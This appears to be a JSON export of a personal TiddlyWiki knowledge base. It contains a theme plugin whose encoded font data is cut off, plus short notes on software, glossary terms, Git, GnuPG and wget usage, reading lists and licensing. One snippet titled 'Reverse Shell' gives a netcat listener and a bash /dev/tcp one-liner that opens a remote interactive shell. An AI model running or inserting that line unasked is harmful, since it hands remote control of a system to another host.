{"title":"$:/themes/tiddlywiki/starlight","name":"Starlight","author":"JeremyRuston","core-version":">=5.0.0","plugin-type":"theme","description":"Example alternative theme","dependents":"$:/themes/tiddlywiki/snowwhite","version":"5.2.3","type":"application/json","text":"{\"tiddlers\":{\"$:/themes/tiddlywiki/starlight/arvo.woff\":{\"title\":\"$:/themes/tiddlywiki/starlight/arvo.woff\",\"text\":\"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
{"created":"20140114170004978","text":"Credits: [[https://tw5magick.tiddlyspot.com]]\n\nThis great trick was shown to the tiddlywiki google group by [[Alberto Molina|https://groups.google.com/forum/#!topic/tiddlywiki/OCntQ79DuwM]]. I enhanced it a bit.\n\n|!Search tag: | \u003C$edit-text tiddler=\"$:/temp/RenameTags/search\" tag=\"input\" type=\"text\"/> |\n|!Replace by: | \u003C$edit-text tiddler=\"$:/temp/RenameTags/replace\" tag=\"input\" type=\"text\"/> |\n\n---\n\u003C$reveal type=\"nomatch\" text=\"\" state=\"$:/temp/RenameTags/replace\">\n\n!First step\n!!//Apply the tag \u003C$tiddler tiddler={{$:/temp/RenameTags/replace}}>\u003C$transclude tiddler=\"$:/core/ui/TagTemplate\"/>\u003C/$tiddler> to the following tiddlers//\n\u003C$list filter=\"[!has[draft.of]tag{$:/temp/RenameTags/search}!tag{$:/temp/RenameTags/replace}sort[created]]\">\n\u003C$checkbox tag={{$:/temp/RenameTags/replace}}> \u003C$link to={{!!title}}>\u003C$view field=\"title\"/>\u003C/$link>\u003C/$checkbox>\u003Cbr/>\n\u003C/$list>\n\u003C/$reveal>\n\n\u003C$reveal type=\"nomatch\" text=\"\" state=\"$:/temp/RenameTags/search\">\n\n!Second step\n!!//Remove the tag \u003C$tiddler tiddler={{$:/temp/RenameTags/search}}>\u003C$transclude tiddler=\"$:/core/ui/TagTemplate\"/>\u003C/$tiddler> from the following tiddlers//\n\u003C$list filter=\"[!has[draft.of]tag{$:/temp/RenameTags/search}tag{$:/temp/RenameTags/replace}sort[created]]\">\n\u003C$checkbox tag={{$:/temp/RenameTags/search}}> ~~\u003C$link to={{!!title}}>\u003C$view field=\"title\"/>\u003C/$link>~~\u003C/$checkbox>\u003Cbr/>\n\u003C/$list>\n\u003C/$reveal>","title":"$:/Tools/RenameTags","tags":"","modifier":"Stephan Hradek","modified":"20220926114819573","description":"A great trick invented by Alberto Molina to search and replace tags.","creator":"Stephan Hradek"},
{"created":"20220923133930693","text":"''1337x'' is a [[torrent|BitTorrent:en]] search engine.\n\n[img[https://upload.wikimedia.org/wikipedia/commons/b/bb/1337X_logo.svg]]\n\nIn recent years, the service has become more popular than some of its older alternatives, in part thanks to some of its quality-ensuring rules.\n\nThe site features text search, categories, and user profiles.","tags":"Internet i18n:en","title":"1337x:en","modified":"20220926115014338"},
{"created":"20220927210105087","text":"Source: https://blog.archive.org/2012/04/26/downloading-in-bulk-using-wget\n\n!!! Prerequisites\n\n# Obtain [[Wget|https://www.gnu.org/software/wget]];\n\n# (Optional) For large collections, Install \"Copy Selected Links\" extension [[For Firefox|https://addons.mozilla.org/en-US/firefox/addon/copy-selected-links]];\n\n!!! Action\n\n# In a text file, Write a list of all item ids to be downloaded (the part after `/details/` in the URL);\n\n## Easy way to do this for collections: Select all links in the browser, Right-Click > Copy selected links, Paste in a text editor, Find all instances of `https://archive.org/details/`, replace with //nothing//, Save.\n\n# Use the following command:\n```sh\nwget -r -H -nc -np -nH --cut-dirs=1 -e robots=off -l1 -i \u003CPath-to-text-file> -B 'http://archive.org/download/'\n```\n\n!!!! Useful arguments\n\n* Whitelist or Blacklist mode for list of extensions (preceded by `.` (dot), separated by `,` (comma); Example: `.avif,.7z`)\n** `-A \u003CExtensions>`: Whitelist\n** `-R \u003CExtensions>`: Blacklist","tags":"i18n:en Snippets","title":"Archive.org/Download bulk items (Wget)","modified":"20220927212104721"},
{"created":"20220922205247845","text":"Collection of miscellaneous articles I read around the Web and found nice.\n\n!!! 2022-09-23\n* [[The sum of all knowledge and the sorry state of the web|https://christianheilmann.com/2022/08/29/the-sum-of-all-knowledge]]\n\n!!! 2022-09-22\n* [[Lose Weight the Slow and Incredibly Difficult Way|https://nautil.us/lose-weight-the-slow-and-incredibly-difficult-way-239703/]] - //Trying to answer a silly question can take you through some serious science.//","tags":"Reading i18n:en","title":"Articles","modified":"20220926115012451"},
{"created":"20221105114920520","text":"''Base64'' is a 8-bit-binary to text data encoding scheme.\n\nDue to the format using a character set of 64 characters, representable by 6 bits, a minimal b64 block is ''24 bits'' large (lcm(8,6)), which is 3 binary bytes, or 4 b64 text characters.","tags":"i18n:en","title":"Base64:en","modified":"20221105120759433"},
{"created":"20220923190200484","text":"''BitTorrent'' is an open [[peer-to-peer|peer-to-peer:en]] file sharing protocol. It is expecially common among the [[free sharing]] community.\n\nIts only requirement for each user is a client application, meaning that efficiently sharing with BitTorrent is effectively free, since a beefy server isn't needed to make the content circulate.\n\nFor this reason, the protocol is most commonly used to share large files that have a lot of people requesting them, such as movies, operating systems, and videogames.\n\nThis kind of information would be usually expensive to share using a traditional client-server infrastructure, but with BitTorrent every client can seed (send) data to other requesting clients, exponentially optimizing delivery.","tags":"Internet BitTorrent P2P i18n:en","title":"BitTorrent:en","modified":"20220926115016291"},
{"created":"20220925131851817","text":"!! Creative Commons\n\n!!! ''Attribution-ShareAlike 4.0 International (CC BY-SA 4.0)''\n\nThis is a human-readable summary of (and not a substitute for) the [[license|https://creativecommons.org/licenses/by-sa/4.0/legalcode]]. \n\n\u003Cdetails>\n\u003Csummary>Disclaimer\u003C/summary>\n\u003Cp>This deed highlights only some of the key features and terms of the actual license. It is not a license and has no legal value. You should carefully review all of the terms and conditions of the actual license before using the licensed material.\u003C/p>\n\n\u003Cp>Creative Commons is not a law firm and does not provide legal services. Distributing, displaying, or linking to this deed or the license that it summarizes does not create a lawyer-client or any other relationship.\u003C/p>\n\u003C/details>\n\n!!!'' You are free to:''\n\n''Share'' — copy and redistribute the material in any medium or format\n\n''Adapt'' — remix, transform, and build upon the material\nfor any purpose, even commercially.\n\nThe licensor cannot revoke these freedoms as long as you follow the license terms.\n\n!!! ''Under the following terms:''\n\n''Attribution'' — You must give appropriate credit, provide a link to the license, and indicate if changes were made. You may do so in any reasonable manner, but not in any way that suggests the licensor endorses you or your use.\n\n''ShareAlike'' — If you remix, transform, or build upon the material, you must distribute your contributions under the same license as the original.\n\n''No additional restrictions'' — You may not apply legal terms or technological measures that legally restrict others from doing anything the license permits.\n\n!!! ''Notices:''\nYou do not have to comply with the license for elements of the material in the public domain or where your use is permitted by an applicable exception or limitation.\n\nNo warranties are given. The license may not give you all of the permissions necessary for your intended use. For example, other rights such as publicity, privacy, or moral rights may limit how you use the material.","title":"CC BY-SA 4.0:en","modified":"20220926115015643","tags":"i18n:en"},
{"created":"20220923195125955","text":"''Free sharing'' is a philosophy founded on the belief that: every kind of information that is created to be publicly available has to be shareable by anyone without any restrictions.\n\nThe reasoning behind this philosophy is that the whole of humanity can benefit, in the long run, if each person creating works of culture puts aside their egoistic desires of wealth and power, and instead decides to explicitly allow anyone to freely share the works in question.\n\nPeople who believe in free sharing not only often choose to leave freedoom of sharing what they create to the world, but also engage in mutual exchanges of public information that is officially not free (usually, hidden behind paywalls and/or licenses that don't allow redistribution).\n\nThis last kind of behaviour is not to be confused with [[computer piracy]], which is a term indicating the unauthorized redistribution of digital content with the main scope of monetary gain, not the spirit of sharing or bettering humanity.","tags":"i18n:en","title":"Free sharing","modified":"20220926115016122"},
{"created":"20221018083042590","text":"!!! ''Commands (+ Flags/Tips)''\n\n* `clone ${URL}`: Clone (download) a repo to the computer storage\n** `--depth=${n}`: Explicitly specify how many commits to download (starting from latest)\n\n* `add ${Path}`: Update Git's internal list of tracked files. This should be issued (ideally for the root directory, `.`) before trying to commit after creating/deleting/moving/renaming files/folders.\n** A `.gitignore` file, containing a list of files or folder paths (one per line) can be created in a repo's root, to make the `add` command ignore those: they won't be tracked by Git, and thus won't be committed or pushed. Note: adding already tracked paths to `.gitignore` doesn't make it so they stop being tracked, they must be manually be deleted and then the `add` command issued again.\n\n* `config`\n** `credential.helper store`\n\n!!! ''Miscellaneous Flags''\n\n* `--global`: Apply a config command to the global user configuration (omitting applies to current directory if it is a Git repo)","tags":"Snippets i18n:en","title":"Git/Snippets","modified":"20221105130334227"},
{"created":"20221105125144413","text":"!!! ''Commands (+ Flags/Tips)''\n* `--list-keys`: List installed keys.\n* `--import Public.pgp`: Import someone's public key.\n* `--gen-key`: Generate a new keypair, with default options.\n* `--full-generate-key`: Generate a new keypair, customizing all the options.\n* `--edit-key {FINGERPRINT}`: Edit the internal data of a key.\n* `--output Revoke.pgp --gen-revoke {FINGERPRINT}`: Generate and output the revoke certificate for a key.\n* `--output Public.pgp --export {USER@EMAIL}`: Export a public key file.\n* ⚠️ `--output Private.pgp --export-secret-key {USER@EMAIL}`: Export a private key file.\n* ⚠️ `--output BackupPrivate.pgp --export-secret-keys --export-options export-backup {USER@EMAIL}`: Export private key(s) in backup format.\n* `--import-options restore --import BackupPrivate.pgp`\n\n!!!! ''`--edit-key` Commands''\n* `list`: List identities of the keys.\n* `uid {n}`: Select an identity to operate on.\n* `notation`: Write new notations inside the key; Prepend a dash (`-`) when typing a notations to remove it from the key, if present; Type just `none` to delete all notations.\n* `save`: Write changes to the key and quit.\n\n!!!! ''`--export` Flags''\n* `--armor`: Explicitly export as ASCII-armored, aka in text format.\n\n!!! ''Configuration Options''\n\n//These are usually inserted one-per-line in `~/gpg.conf`.//\n\n* `keyserver {URL}`","tags":"Snippets i18n:en","title":"GnuPG/Snippets","modified":"20221105173958587"},
{"created":"20220922204301052","text":"Interesting news I collect from the hacky tech Internet sphere (HN primarily, but not exclusively).\n\n* [[TOTP tokens on my wrist with the smartest dumb watch|https://blog.singleton.io/posts/2022-10-17-otp-on-wrist]]\n* [[Boeing 787s must be turned off and on every 51 days to prevent 'misleading data' being shown to pilots|https://www.theregister.com/2020/04/02/boeing_787_power_cycle_51_days_stale_data]]\n* [[Disposable Root Servers|https://blog.thc.org/disposable-root-servers]]\n* [[Neurons in a dish learn to play Pong — what’s next?|https://www.nature.com/articles/d41586-022-03229-y]]\n* [[retrowin32, a win32 emulator|https://neugierig.org/software/blog/2022/10/retrowin32.html]]\n* [[Ray Tracing In Notepad.exe At 30 FPS|http://kylehalladay.com/blog/2020/05/20/Rendering-With-Notepad.html]]\n* [[You can't buy a Raspberry Pi right now|https://www.jeffgeerling.com/blog/2022/you-cant-buy-raspberry-pi-right-now]]\n* [[7 Cool HTML Elements Nobody Uses|https://tapajyoti-bose.medium.com/7-cool-html-elements-nobody-uses-436598d85668]]\n* [[Despite faster broadband every year, web pages don't load any faster|https://www.datafantic.com/how-much-time-do-we-waste-waiting-for-websites-to-load]] [//[[c|https://readhacker.news/c/5mBGU]]//]\n* [[Avoiding homework with code (and getting caught)|https://alistair.blog/mochip]] [//[[c|https://readhacker.news/c/5mBHL]]//]\n* [[Show HN: I made an open-source Bitly alternative|https://readhacker.news/c/5mzDH]]\n* [[If the Moon Were Only 1 Pixel (2014)|https://readhacker.news/c/5myKf]]","tags":"Reading i18n:en Tech","title":"Hacking News","modified":"20221018220810405"},
{"created":"20220923132359163","text":"The [[Internet Archive|https://archive.org]] is a website serving as free archive of digital items, with the intent of cultural preservation.\n\n[img[https://upload.wikimedia.org/wikipedia/commons/8/84/Internet_Archive_logo_and_wordmark.svg]]\n\nThe non-profit library is also known for its [[Wayback Machine|Wayback Machine:en]] service.","tags":"Archiving Internet i18n:en","title":"Internet Archive:en","modified":"20220926115014434"},
{"created":"20221107192628249","text":"''ISO 8601'' is a date/time format standard designed for international adoption, by featuring a logical, unambiguous notation.\n\nIt was first published in 1988, but got some revisions in following years.\n\nIts complete form is the following, but the standard allows for dashes (`-`), colons (`:`), and the final time zone indicator to be omitted:\n\n`YYYY-MM-DD`T`hh:mm:ss`+hh:mm","tags":"i18n:en","title":"ISO 8601:en","modified":"20221107193603014"},
{"created":"20220923152137538","text":"[[johncena141|https://github.com/jc141x]] (jc141) is specialized in the field of compiling and distributing free repacks of current PC games for GNU+Linux.\n\nBefore their arrival to the GNU+Linux gaming scene in 2020-2021, obtaining known-safe and working repacks of games for the platform was a challenge, with native Linux repacks being almost impossible to find and Windows ones often not working.\n\nIn just about a year, johncena141 has become the most trusted repacker among GNU+Linux gamers, by putting the focus of their work directly and exclusively on GNU+Linux, as well as proving transparency and efficiency in their operations.","tags":"Gaming i18n:en","title":"johncena141:en","modified":"20220926115016387"},
{"created":"20221104183123144","text":"''Keyoxide'' is a libre, self-hostable tool to create and verify online identities, like different profiles, through cryptography.\n\n* Website, docs, and official instance: https://keyoxide.org\n* Source code: https://codeberg.org/keyoxide","tags":"i18n:en","title":"Keyoxide:en","modified":"20221104183453300"},
{"created":"20220923130111988","text":"[[MeBoy|http://arktos.se/meboy]] is a libre (GPLv2) [[Game Boy|Game Boy:en]] (and Game Boy color) emulator for the [[J2ME|J2ME:en]] platform.","tags":"Emulation Gaming Nintendo [[Game Boy]] i18n:en","title":"MeBoy:en","modified":"20220926115012739"},
{"created":"20220923104738517","text":"[[melonDS|https://melonds.kuribo64.net]] is (sort of) a libre [[Nintendo DS|Nintendo DS:en]] emulator.\n\n[img[https://raw.githubusercontent.com/melonDS-emu/melonDS/master/res/icon/melon_128x128.png]]\n\nOver the years of development, the emulator had time to become a mature melon.\n\nToday, while it still needs a lot of work before being complete, it's considered the best NDS emulator available, at least on PC.","tags":"Emulation Nintendo NDS Gaming i18n:en","title":"melonDS:en","modified":"20220926115012546"},
{"created":"20220923110724649","text":"''Nintendo DS'' is a family of portable game consoles created by [[Nintendo|Nintendo:en]], succeding and preceding the GBA and 3DS families respectively.\n\n[img[http://web.archive.org/web/20220923111238/http://pbs.twimg.com/media/E5An_LGVkAQv9ol?format=jpg&name=large]]","title":"Nintendo DS:en","modified":"20220926115012642","tags":"Gaming Nintendo NDS i18n:en"},
{"created":"20221018215927772","text":"!!! Moved\n\nMoved to https://cryptpad.devol.it/sheet/#/2/sheet/view/kcmKvZ03cftF2U9SMlMk8m4s5XRVIVkb0SZTZIDqvL8/embed/\n\n\u003Cdel>\n\n!!! ''Licensed Games''\n\n* ''Animal Crossing: Wild World'' • Top screen is required to see stars, flying balloons, and Gulliver. It also shows the title screen logo, and the 3D world when a menu is open. All gameplay, dialogues, and menus are on the bottom screen, and the stylus or the buttons can be used interchangeably.\n\n* ''Kirby: Mass Attack'' • Top screen shows title screen logo, some tooltips in game, and stats (level name, points, fruits, Kirbys, medals). Gameplay and menus are on bottom screen, and only controlled with the stylus.\n\n* ''Kirby: Power'' Paintbrush\n\n* [Patch] ''New Super Mario Bros.'' (Macro-Friendly)\n\n* [Partially] ''Nintendogs''\n\n* ''Picross 3D'' • Top screen holds text like menu details and guides (like the tutorials), and puzzle overviews (in the selection menu and while playing), with details and time. The gameplay itself is on the bottom screen, and requires stylus and D-Pad/ABXY. To play without a top screen, it's effectively necessary to learn the unique game mechanics elsewhere (like in video gameplays).\n\n* ''Picross DS'' • Top screen has some text, for menu items details, tutorials and explanations, overwiew of puzzles in the selection menu, and their status (as well as time) while playing them. Gameplay is on the bottom screen, and requires either the D-Pad, A, B buttons, or the stylus (as well as START to access the pause menu).\n\n* ''Pokemon Dash''\n\n* [?] ''Pokemon Link!''\n\n* ''Puyo Puyo!! 20th anniversary'' • Top screen has details for menu entries, some secondary dialogues (the story ones happen on the bottom), points and results, and decorative in-game character animations. Menus can be navigated with either the buttons or the touch screen; gameplay happens on the bottom screen with D-Pad and A/B buttons.\n\n* [?] ''Puzzle League DS''\n\n* ''Tetris DS''\n\n* ''The Legend of Zelda: Phantom Hourglass''\n\n* [?] ''The Legend of Zelda - Spirit Tracks''\n\n* [?] ''Tingle no Balloon Fight DS''\n\n* [?] ''WarioWare: Do It Yourself''\n\n* [?] ''WarioWare: Touched!''\n\n\n!!! ''Licensed Apps''\n\n* ''Nintendo DS Browser'' • Top screen shows software logos, current URL, WiFi signal status, loading animation, count of loaded/total page elements, random and contextual tooltips, and page scrollback buffer. Menu and web navigation happen entirely on the bottom screen, except when Panorama Mode (desktop view) is enabled. Navigation happens primarily with the stylus; buttons are supported only for some operations.\n\n\n!!! ''Homebrew Games''\n\n\n\n\n!!! ''Homebrew Apps''\n\n* ''Colors! DS'' • Top screen shows app logo while in the main menu, buttons legend while drawing, and the current drawing when opening a menu or optionally always. The touch screen is needed to select menu items, draw, and calibrate the digitizer; buttons are needed to operate drawing tools (moving, zooming, color picker, undo).\n\n\u003C/del>","tags":"Nintendo NDS Gaming i18n:en","title":"Nintendo DS/Software Requiring Only the Bottom Screen","modified":"20221020125346687"},
{"created":"20220925130302833","text":"''Nintendo Switch'' is a family of portable game consoles created by [[Nintendo|Nintendo:en]].\n\n[img[https://i.ytimg.com/vi_webp/Cb-srOfRqNc/maxresdefault.webp]]\n\nThe console's introduction was hyped due to it being the first ever Nintendo console to be created with both home and portable use in mind. The name itself comes from the fact that the console can //switch//, from being connected to a TV to being able to be used standalone.","tags":"Nintendo Gaming NX i18n:en","title":"Nintendo Switch:en","modified":"20220926115015739"},
{"created":"20220924173239034","text":"All my //original content// on this website, unless where otherwise specified, is licensed under [[CC BY-SA 4.0|CC BY-SA 4.0:en]].\n\nIt is a [[free culture]] license that promotes the benefits of making information available for anyone to learn from and build upon. However, be sure to know its terms before doing anything other than just consuming the site!\n\nYou can easily recognize which of the directly hosted (entirely contained in a //tiddler// itself, like text, string-encoded files, or standalone files in the file system) content is my original creation: it's anything that features no indication of source or license.\n\nUnless I forget to do so in specific instances, I always credit the source and/or specify the original license for anything upon which I don't hold 100% of the rights (even public domain content) and is a straight copy. I may not do so if the content in question is not directly copied //into// my site, but instead embedded from a Web space which is the property of another entity - in which case, you can click the pencil (edit) button to read the source code for a specific //tiddler//, to discover possible external embed URLs.\n\nThe above is valid for all //content tiddlers// (those whose name does not start with `$:/`) and all //system tiddlers// created by me (not part of standard [[TiddlyWiki|TiddlyWiki:en]] or any of my [[installed plugins|$:/core/ui/ControlPanel/Plugins]]).\n\n//Non-original system tiddlers// which I never touched, obviously fall under their own license; but, for simplicity of operations, as well as to avoid accidentally claiming ownership on code not written by me, I give away my copyright for //non-original system tiddlers// that I modified from their original state. This means you can consider those as always falling under their original license, even if I touched them; From another point of view, you can effectively consider any //diff// generated between the original version of a //system tiddler// and my modified version of the same file as falling under public domain.","tags":"i18n:en","title":"OcttKB/Licensing","modified":"20221105114358033"},
{"created":"20220922200129612","text":"\u003C\u003Ci18n>>\n\nIl ''Rasperino'' (''Raspberry Pi'') è il Single-Board-Computer più epico mai creato.\n\n[img[https://assets.raspberrypi.com/static/raspberry-pi-4-labelled-f5e5dcdf6a34223235f83261fa42d1e8.png]]\n\nPiù informazioni al suo riguardo sono disponibili sul sito ufficiale: [[https://www.raspberrypi.com]].\n\nSotto lo stesso nome di Raspberry Pi, la Raspberry Foundation crea anche dei microcontrollori, oltre che dei computer completi.","tags":"Raspberry i18n:it","title":"Rasperry Pi:it","modified":"20220926123849480","i18n":"RasperryPi"},
{"created":"20220926095309988","text":"0. Run on master (requires netcat):\n\n```sh\nnc -l -vv -p $PORT\n```\n\n1. Run on slave:\n\n```sh\nbash -i &> /dev/tcp/$ADDRESS/$PORT 0>&1\n```","tags":"Snippets","title":"Reverse Shell","modified":"20220927130559929"},
{"created":"20220924130815541","text":"```sh\nfind ./ -type f -exec sed -i \"s/Old/New/g\" {} \\;\n```","tags":"Snippets i18n:en","title":"sed for all files in all subdirectories","modified":"20220926115016026"},
{"created":"20220922163220116","text":"\u003Cstyle>\ntr:nth-child(even) {background-color: #f2f2f2;}\n\u003C/style>","tags":"Snippets TiddlyWiki","title":"Snippets to Test for TiddlyWiki","modified":"20220922163255515"},
{"created":"20221015115923815","text":"Some useful or at least miscellaneous nice-to-know tech resources.\n\n* [[Textualize|https://www.textualize.io]]: Curses but better\n* [[C++ by Example|https://readhacker.news/c/5mzeZ]]","tags":"i18n:en Tech","title":"Tech Resources","modified":"20221023213906341"},
{"created":"20220924193842295","text":"[[TiddlyWiki|https://tiddlywiki.com]] is the software upon which this website is built.\n\nIt is a libre, JavaScript-rich, non-linear notebook, that can well adapt to anyone's way of building a logically interconnected information database.\n\n!!! Useful resources\n\n* Official Docs: [[Standard|https://tiddlywiki.com]], [[Dev|https://tiddlywiki.com/dev]]\n* [[Simple Javascript insertion in tiddlers (text/vnd.tiddlywiki)|https://groups.google.com/g/tiddlywiki/c/NwOI-QER2ig/m/lSLS3XolwDoJ]], [[enable-js (using inline script tags)|http://tobibeer.github.io/tw/enable-js]]","title":"TiddlyWiki:en","modified":"20221104203927510","tags":"TiddlyWiki i18n:en"},
{"created":"20220923144125627","text":"The [[Wayback Machine|https://web.archive.org]] is a public website archiving service, provided by the [[Internet Archive|Internet Archive:en]].\n\n[img[https://upload.wikimedia.org/wikipedia/commons/0/01/Wayback_Machine_logo_2010.svg]]\n\nThe project exists to fulfill the goal of Web content preservation. It allows for users to visit a snapshot of a webpage captured in the past, serving as a way to preserve history, both in the case of the site owners altering the contents of a page, or simply the server going permanently down.","title":"Wayback Machine:en","modified":"20220926115014242","tags":"Archiving Internet i18n:en"},
{"created":"20221103223952562","text":"Some ideas on //how// and //into what// to make a website I want to collect. Some I gather from other people's sites.\n\n* Site Changelog on Home page\n* Animated/Static Image Buttons for expressing ideas or linking to other websites\n* Shrines\n* Vast photo Galleries","tags":"Internet i18n:en","title":"Web design ideas","modified":"20221103231633336"},
{"created":"20221103220025295","text":"List of many Webrings.\n\n//I should ask some for joining (with the sitoctt or the octt hub? or the octtkb?)//\n\nLegend:\n\n* ✅: Joined\n* 📅: Waiting\n* ❓: Asked for joining but got ignored (verified through page changes and stuff across weeks/months)\n* ❌: Got rejected\n* ✏️ (or empty): Noted\n\n---\n\n* ✏️ https://250kb.club, https://512kb.club, https://1mb.club\n* ✅ https://fediring.net\n* ✏️ https://hotlinewebring.club\n* ✏️ https://xhtml.club\n* ✏️ https://webring.xxiivv.com\n* ❓ https://yesterweb.org/webring\n","tags":"Internet i18n:en","title":"Webrings","modified":"20221103223144572"},
